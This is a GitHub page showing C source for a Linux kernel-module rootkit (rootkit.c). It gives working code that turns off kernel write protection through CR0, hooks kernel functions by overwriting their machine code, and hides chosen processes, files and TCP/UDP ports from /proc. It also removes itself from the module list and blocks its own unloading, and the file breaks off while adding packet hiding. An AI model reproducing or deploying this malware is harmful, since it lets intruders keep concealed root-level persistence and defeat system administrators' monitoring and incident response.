-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathrootkit.c
1594 lines (1222 loc) · 37.6 KB
/
rootkit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
* Copyright (C) 2016-2017 Maxim Biro <nurupo.contributions@gmail.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#include <asm/unistd.h>
#include <linux/cred.h>
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/kallsyms.h>
#include <linux/kernel.h>
#include <linux/kobject.h>
#include <linux/list.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/rbtree.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#include <linux/sysfs.h>
#include <linux/uaccess.h>
#include <linux/unistd.h>
#include <linux/version.h>
#include <linux/limits.h>
#include <linux/delay.h>
#include <linux/version.h>
#include <linux/net.h>
#include <linux/in.h>
#include <net/tcp.h>
#include <net/udp.h>
#include <linux/utsname.h>
#define TMPSZ 150
/*
#define TRUE 1
#define FALSE 0
#define IS_OPENSUSE
if (strstr(name, f->name) != NULL) {
return 0;
}
if (strstr(utsname()->release, "lp") != NULL) {
is_openSUSE = 1;
} else {
is_openSUSE = 0;
}
#if strstr(utsname()->release, "lp") != NULL
#define IS_OPENSUSE
#else
#define IS_NOT_OPENSUSE
#endif
*/
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 0)
char *strnstr(const char *haystack, const char *needle, size_t len)
{
int i;
size_t needle_len;
if (0 == (needle_len = strnlen(needle, len)))
return (char *)haystack;
for (i=0; i<=(int)(len-needle_len); i++)
{
if ((haystack[0] == needle[0]) &&
(0 == strncmp(haystack, needle, needle_len)))
return (char *)haystack;
haystack++;
}
return NULL;
}
#endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0) && \
LINUX_VERSION_CODE < KERNEL_VERSION(4, 16, 0)
struct proc_dir_entry {
unsigned int low_ino;
umode_t mode;
nlink_t nlink;
kuid_t uid;
kgid_t gid;
loff_t size;
const struct inode_operations *proc_iops;
const struct file_operations *proc_fops;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0) && \
LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
struct proc_dir_entry *next, *parent, *subdir;
#elif LINUX_VERSION_CODE >= KERNEL_VERSION(3, 19, 0) && \
LINUX_VERSION_CODE < KERNEL_VERSION(4, 14, 0)
struct proc_dir_entry *parent;
struct rb_root subdir;
struct rb_node subdir_node;
#elif LINUX_VERSION_CODE >= KERNEL_VERSION(4, 14, 0)
struct proc_dir_entry *parent;
struct rb_root_cached subdir;
struct rb_node subdir_node;
#endif
void *data;
atomic_t count; /* use count */
atomic_t in_use; /* number of callers into module in progress; */
/* negative -> it's going away RSN */
struct completion *pde_unload_completion;
struct list_head pde_openers; /* who did ->open, but not ->release */
spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */
u8 namelen;
char name[];
};
#elif LINUX_VERSION_CODE >= KERNEL_VERSION(4, 16, 0) && \
LINUX_VERSION_CODE < KERNEL_VERSION(4, 17, 0)
struct proc_dir_entry {
/*
* number of callers into module in progress;
* negative -> it's going away RSN
*/
atomic_t in_use;
atomic_t count; /* use count */
struct list_head pde_openers; /* who did ->open, but not ->release */
/* protects ->pde_openers and all struct pde_opener instances */
spinlock_t pde_unload_lock;
struct completion *pde_unload_completion;
const struct inode_operations *proc_iops;
const struct file_operations *proc_fops;
void *data;
unsigned int low_ino;
nlink_t nlink;
kuid_t uid;
kgid_t gid;
loff_t size;
struct proc_dir_entry *parent;
struct rb_root_cached subdir;
struct rb_node subdir_node;
umode_t mode;
u8 namelen;
char name[];
};
#elif LINUX_VERSION_CODE >= KERNEL_VERSION(4, 17, 0)
struct proc_dir_entry {
/*
* number of callers into module in progress;
* negative -> it's going away RSN
*/
atomic_t in_use;
refcount_t refcnt;
struct list_head pde_openers; /* who did ->open, but not ->release */
/* protects ->pde_openers and all struct pde_opener instances */
spinlock_t pde_unload_lock;
struct completion *pde_unload_completion;
const struct inode_operations *proc_iops;
const struct file_operations *proc_fops;
void *data;
unsigned int low_ino;
nlink_t nlink;
kuid_t uid;
kgid_t gid;
loff_t size;
struct proc_dir_entry *parent;
struct rb_root subdir;
struct rb_node subdir_node;
char *name;
umode_t mode;
u8 namelen;
#ifdef CONFIG_64BIT
#define SIZEOF_PDE_INLINE_NAME (192-139)
#else
#define SIZEOF_PDE_INLINE_NAME (128-87)
#endif
char inline_name[SIZEOF_PDE_INLINE_NAME];
};
#endif
#include "config.h"
//#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Juan Schällibaum <juanschallibaum@gmail.com>");
//MODULE_AUTHOR("Maxim Biro <nurupo.contributions@gmail.com>");
#define ARCH_ERROR_MESSAGE "Only i386 and x86_64 architectures are supported! " \
"It should be easy to port to new architectures though"
#define DISABLE_W_PROTECTED_MEMORY \
do { \
preempt_disable(); \
write_cr0(read_cr0() & (~ 0x10000)); \
} while (0);
#define ENABLE_W_PROTECTED_MEMORY \
do { \
preempt_enable(); \
write_cr0(read_cr0() | 0x10000); \
} while (0);
// ========== ASM HOOK LIST ==========
#if defined __i386__
// push 0x00000000, ret
#define ASM_HOOK_CODE "\x68\x00\x00\x00\x00\xc3"
#define ASM_HOOK_CODE_OFFSET 1
// alternativly we could do `mov eax 0x00000000, jmp eax`, but it's a byte longer
//#define ASM_HOOK_CODE "\xb8\x00\x00\x00\x00\xff\xe0"
#elif defined __x86_64__
// there is no push that pushes a 64-bit immidiate in x86_64,
// so we do things a bit differently:
// mov rax 0x0000000000000000, jmp rax
#define ASM_HOOK_CODE "\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0"
#define ASM_HOOK_CODE_OFFSET 2
#else
#error ARCH_ERROR_MESSAGE
#endif
struct asm_hook {
void *original_function;
void *modified_function;
char original_asm[sizeof(ASM_HOOK_CODE)-1];
struct list_head list;
};
LIST_HEAD(asm_hook_list);
/**
* Patches machine code of the original function to call another function.
* This function should not be called directly.
*/
void _asm_hook_patch(struct asm_hook *h)
{
DISABLE_W_PROTECTED_MEMORY
memcpy(h->original_function, ASM_HOOK_CODE, sizeof(ASM_HOOK_CODE)-1);
*(void **)&((char *)h->original_function)[ASM_HOOK_CODE_OFFSET] = h->modified_function;
ENABLE_W_PROTECTED_MEMORY
}
/**
* Patches machine code of a function so that it would call our function.
* Keeps record of the original function and its machine code so that it could
* be unpatched and patched again later.
*
* @param original_function Function to patch
*
* @param modified_function Function that should be called
*
* @return true on success, false on failure.
*/
int asm_hook_create(void *original_function, void *modified_function)
{
struct asm_hook *h = kmalloc(sizeof(struct asm_hook), GFP_KERNEL);
if (!h) {
return 0;
}
h->original_function = original_function;
h->modified_function = modified_function;
memcpy(h->original_asm, original_function, sizeof(ASM_HOOK_CODE)-1);
list_add(&h->list, &asm_hook_list);
_asm_hook_patch(h);
return 1;
}
/**
* Patches the original function to call the modified function again.
*
* @param modified_function Function that the original function was patched to
* call in asm_hook_create().
*/
void asm_hook_patch(void *modified_function)
{
struct asm_hook *h;
list_for_each_entry(h, &asm_hook_list, list) {
if (h->modified_function == modified_function) {
_asm_hook_patch(h);
break;
}
}
}
/**
* Unpatches machine code of the original function, so that it wouldn't call
* our function anymore.
* This function should not be called directly.
*/
void _asm_hook_unpatch(struct asm_hook *h)
{
DISABLE_W_PROTECTED_MEMORY
memcpy(h->original_function, h->original_asm, sizeof(ASM_HOOK_CODE)-1);
ENABLE_W_PROTECTED_MEMORY
}
/**
* Unpatches machine code of the original function, so that it wouldn't call
* our function anymore.
*
* @param modified_function Function that the original function was patched to
* call in asm_hook_create().
*/
void *asm_hook_unpatch(void *modified_function)
{
void *original_function = NULL;
struct asm_hook *h;
list_for_each_entry(h, &asm_hook_list, list) {
if (h->modified_function == modified_function) {
_asm_hook_unpatch(h);
original_function = h->original_function;
break;
}
}
return original_function;
}
/**
* Removes all hook records, unpatches all functions.
*/
void asm_hook_remove_all(void)
{
struct asm_hook *h, *tmp;
list_for_each_entry_safe(h, tmp, &asm_hook_list, list) {
_asm_hook_unpatch(h);
list_del(&h->list);
kfree(h);
}
}
// ========== END ASM HOOK LIST ==========
/*
unsigned long asm_rmdir_count = 0;
asmlinkage long asm_rmdir(const char __user *pathname)
{
long ret;
asm_rmdir_count ++;
asmlinkage long (*original_rmdir)(const char __user *);
original_rmdir = asm_hook_unpatch(asm_rmdir);
ret = original_rmdir(pathname);
asm_hook_patch(asm_rmdir);
return ret;
}
*/
// ========== PID LIST ==========
struct pid_entry {
unsigned long pid;
struct list_head list;
};
LIST_HEAD(pid_list);
int pid_add(const char *pid)
{
struct pid_entry *p = kmalloc(sizeof(struct pid_entry), GFP_KERNEL);
if (!p) {
return 0;
}
p->pid = simple_strtoul(pid, NULL, 10);
list_add(&p->list, &pid_list);
return 1;
}
void pid_remove(const char *pid)
{
struct pid_entry *p, *tmp;
unsigned long pid_num = simple_strtoul(pid, NULL, 10);
list_for_each_entry_safe(p, tmp, &pid_list, list) {
if (p->pid == pid_num) {
list_del(&p->list);
kfree(p);
break;
}
}
}
void pid_remove_all(void)
{
struct pid_entry *p, *tmp;
list_for_each_entry_safe(p, tmp, &pid_list, list) {
list_del(&p->list);
kfree(p);
}
}
// ========== END PID LIST ==========
// ========== TCP PORT LIST ==========
struct hidden_port {
unsigned short port;
//unsigned long port;
struct list_head list;
};
LIST_HEAD(hidden_tcp4_ports);
LIST_HEAD(hidden_tcp6_ports);
LIST_HEAD(hidden_udp4_ports);
LIST_HEAD(hidden_udp6_ports);
void hide_tcp4_port(const char *port)
{
struct hidden_port *hp;
hp = kmalloc(sizeof(*hp), GFP_KERNEL);
if ( ! hp )
return;
//hp->port = port;
hp->port = simple_strtoul(port, NULL, 10);
list_add(&hp->list, &hidden_tcp4_ports);
}
void unhide_tcp4_port(const char *port)
{
struct hidden_port *hp;
unsigned long port_num = simple_strtoul(port, NULL, 10);
list_for_each_entry ( hp, &hidden_tcp4_ports, list )
{
if ( port_num == hp->port )
{
list_del(&hp->list);
kfree(hp);
break;
}
}
}
void hide_tcp6_port (const char *port)
{
struct hidden_port *hp;
hp = kmalloc(sizeof(*hp), GFP_KERNEL);
if ( ! hp )
return;
hp->port = simple_strtoul(port, NULL, 10);
list_add(&hp->list, &hidden_tcp6_ports);
}
void unhide_tcp6_port (const char *port)
{
struct hidden_port *hp;
unsigned long port_num = simple_strtoul(port, NULL, 10);
list_for_each_entry ( hp, &hidden_tcp6_ports, list )
{
if ( port_num == hp->port )
{
list_del(&hp->list);
kfree(hp);
break;
}
}
}
// ========== END TCP PORT LIST ==========
// ========== UDP PORT LIST ==========
void hide_udp4_port (const char *port)
{
struct hidden_port *hp;
hp = kmalloc(sizeof(*hp), GFP_KERNEL);
if ( ! hp )
return;
//hp->port = port;
hp->port = simple_strtoul(port, NULL, 10);
list_add(&hp->list, &hidden_udp4_ports);
}
void unhide_udp4_port (const char *port)
{
struct hidden_port *hp;
unsigned long port_num = simple_strtoul(port, NULL, 10);
list_for_each_entry ( hp, &hidden_udp4_ports, list )
{
if ( port_num == hp->port )
{
list_del(&hp->list);
kfree(hp);
break;
}
}
}
void hide_udp6_port (const char *port)
{
struct hidden_port *hp;
hp = kmalloc(sizeof(*hp), GFP_KERNEL);
if ( ! hp )
return;
hp->port = simple_strtoul(port, NULL, 10);
list_add(&hp->list, &hidden_udp6_ports);
}
void unhide_udp6_port (const char *port)
{
struct hidden_port *hp;
unsigned long port_num = simple_strtoul(port, NULL, 10);
list_for_each_entry ( hp, &hidden_udp6_ports, list )
{
if ( port_num == hp->port )
{
list_del(&hp->list);
kfree(hp);
break;
}
}
}
// ========== END UDP PORT LIST ==========
// ========== TCP PACKETS LIST ==========
struct hidden_packet {
char ip[16];
struct list_head list;
};
LIST_HEAD(hidden_tcp4_packets);
int hide_tcp4_packet(const char *ip)
{
struct hidden_packet *p = kmalloc(sizeof(struct hidden_packet), GFP_KERNEL);
//size_t name_len;
if (!p) {
return 0;
}
/*
name_len = strlen(name) + 1;
// sanity check as `name` could point to some garbage without null anywhere nearby
if (name_len -1 > NAME_MAX) {
kfree(f);
return 0;
}
f->name = kmalloc(name_len, GFP_KERNEL);
if (!f->name) {
kfree(f);
return 0;
}
*/
strncpy(p->ip, ip, 16);
list_add(&p->list, &hidden_tcp4_packets);
return 1;
}
void unhide_tcp4_packet(const char *ip)
{
struct hidden_packet *p, *tmp;
list_for_each_entry_safe(p, tmp, &hidden_tcp4_packets, list) {
if (strcmp(p->ip, ip) == 0) {
list_del(&p->list);
kfree(p->ip);
kfree(p);
break;
}
}
}
/*
void file_remove_all(void)
{
struct file_entry *f, *tmp;
list_for_each_entry_safe(f, tmp, &file_list, list) {
list_del(&f->list);
kfree(f->name);
kfree(f);
}
}
*/
// ========== END TCP PACKETS LIST ==========
// ========== FILE LIST ==========
struct file_entry {
char *name;
struct list_head list;
};
LIST_HEAD(file_list);
int file_add(const char *name)
{
struct file_entry *f = kmalloc(sizeof(struct file_entry), GFP_KERNEL);
size_t name_len;
if (!f) {
return 0;
}
name_len = strlen(name) + 1;
// sanity check as `name` could point to some garbage without null anywhere nearby
if (name_len -1 > NAME_MAX) {
kfree(f);
return 0;
}
f->name = kmalloc(name_len, GFP_KERNEL);
if (!f->name) {
kfree(f);
return 0;
}
strncpy(f->name, name, name_len);
list_add(&f->list, &file_list);
return 1;
}
void file_remove(const char *name)
{
struct file_entry *f, *tmp;
list_for_each_entry_safe(f, tmp, &file_list, list) {
if (strcmp(f->name, name) == 0) {
list_del(&f->list);
kfree(f->name);
kfree(f);
break;
}
}
}
void file_remove_all(void)
{
struct file_entry *f, *tmp;
list_for_each_entry_safe(f, tmp, &file_list, list) {
list_del(&f->list);
kfree(f->name);
kfree(f);
}
}
// ========== END FILE LIST ==========
// ========== HIDE ==========
struct list_head *module_list;
int is_hidden = 0;
void hide(void)
{
if (is_hidden) {
return;
}
module_list = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
is_hidden = 1;
}
void unhide(void)
{
if (!is_hidden) {
return;
}
list_add(&THIS_MODULE->list, module_list);
is_hidden = 0;
}
// ========== END HIDE ==========
// ========== PROTECT ==========
int is_protected = 0;
void protect(void)
{
if (is_protected) {
return;
}
try_module_get(THIS_MODULE);
is_protected = 1;
}
void unprotect(void)
{
if (!is_protected) {
return;
}
module_put(THIS_MODULE);
is_protected = 0;
}
// ========== END PROTECT =========
// ========== READDIR ==========
struct file_operations *get_fop(const char *path)
{
struct file *file;
struct file_operations *ret;
if ((file = filp_open(path, O_RDONLY, 0)) == NULL) {
return NULL;
}
ret = (struct file_operations *) file->f_op;
filp_close(file, 0);
return ret;
}
void *get_tcp_seq_show ( const char *path )
{
void *ret;
struct file *filep;
struct tcp_seq_afinfo *afinfo;
if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL )
return NULL;
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0)
afinfo = PDE(filep->f_dentry->d_inode)->data;
#elif LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
afinfo = PDE_DATA(filep->f_dentry->d_inode);
#else
afinfo = PDE_DATA(filep->f_path.dentry->d_inode);
#endif
ret = afinfo->seq_ops.show;
filp_close(filep, 0);
return ret;
}
void *get_udp_seq_show ( const char *path )
{
void *ret;
struct file *filep;
struct udp_seq_afinfo *afinfo;
if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL )
return NULL;
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0)
afinfo = PDE(filep->f_dentry->d_inode)->data;
#elif LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
afinfo = PDE_DATA(filep->f_dentry->d_inode);
#else
afinfo = PDE_DATA(filep->f_path.dentry->d_inode);
#endif
ret = afinfo->seq_ops.show;
filp_close(filep, 0);
return ret;
}
static int n_tcp4_seq_show ( struct seq_file *seq, void *v)
{
int ret = 0;
char port[12];
struct hidden_port *hp;
/*
hijack_pause(tcp4_seq_show);
ret = tcp4_seq_show(seq, v);
hijack_resume(tcp4_seq_show);
*/
int (*original_tcp4_seq_show)(struct seq_file *, void *);
original_tcp4_seq_show = asm_hook_unpatch(n_tcp4_seq_show);
ret = original_tcp4_seq_show(seq, v);
asm_hook_patch(n_tcp4_seq_show);
list_for_each_entry ( hp, &hidden_tcp4_ports, list )
{
sprintf(port, ":%04X", hp->port);
if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) )
{
seq->count -= TMPSZ;
break;
}
}
return ret;
}
static int n_tcp6_seq_show ( struct seq_file *seq, void *v )
{
int ret;
char port[12];
struct hidden_port *hp;
/*
hijack_pause(tcp6_seq_show);
ret = tcp6_seq_show(seq, v);
hijack_resume(tcp6_seq_show);
*/
int (*original_tcp6_seq_show)(struct seq_file *, void *);
original_tcp6_seq_show = asm_hook_unpatch(n_tcp6_seq_show);
ret = original_tcp6_seq_show(seq, v);
asm_hook_patch(n_tcp6_seq_show);
list_for_each_entry ( hp, &hidden_tcp6_ports, list )
{
sprintf(port, ":%04X", hp->port);
if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) )
{
seq->count -= TMPSZ;
break;
}
}
return ret;
}
static int n_udp4_seq_show ( struct seq_file *seq, void *v )
{
int ret;
char port[12];
struct hidden_port *hp;
/*
hijack_pause(udp4_seq_show);
ret = udp4_seq_show(seq, v);
hijack_resume(udp4_seq_show);
*/
int (*original_udp4_seq_show)(struct seq_file *, void *);
original_udp4_seq_show = asm_hook_unpatch(n_udp4_seq_show);
ret = original_udp4_seq_show(seq, v);
asm_hook_patch(n_udp4_seq_show);
list_for_each_entry ( hp, &hidden_udp4_ports, list )
{
sprintf(port, ":%04X", hp->port);
if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) )
{
seq->count -= TMPSZ;
break;
}
}
return ret;
}
static int n_udp6_seq_show ( struct seq_file *seq, void *v )
{
int ret;
char port[12];
struct hidden_port *hp;
/*
hijack_pause(udp6_seq_show);
ret = udp6_seq_show(seq, v);
hijack_resume(udp6_seq_show);
*/
int (*original_udp6_seq_show)(struct seq_file *, void *);
original_udp6_seq_show = asm_hook_unpatch(n_udp6_seq_show);
ret = original_udp6_seq_show(seq, v);
asm_hook_patch(n_udp6_seq_show);
list_for_each_entry ( hp, &hidden_udp6_ports, list )
{
sprintf(port, ":%04X", hp->port);
if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) )
{
seq->count -= TMPSZ;
break;
}
}
return ret;
}
/* PACKET HIDDING ADDINGS */
#include <linux/types.h>
#include <linux/mutex.h>
#include <linux/sched.h>
#include <linux/inet.h>
#include <linux/ip.h>
#include <linux/ipv6.h>
//#include <linux/netfilter_defs.h>
/* counter for access counting */
//static int accesses_packet_rcv = 0;
//static int accesses_tpacket_rcv = 0;
//static int accesses_packet_rcv_spkt = 0;
/* mutexes for safe accesses */
//struct mutex lock_packet_rcv;
//struct mutex lock_tpacket_rcv;
//struct mutex lock_packet_rcv_spkt;
/* increment counter of a critical section */
/*
void inc_critical(struct mutex *lock, int *counter)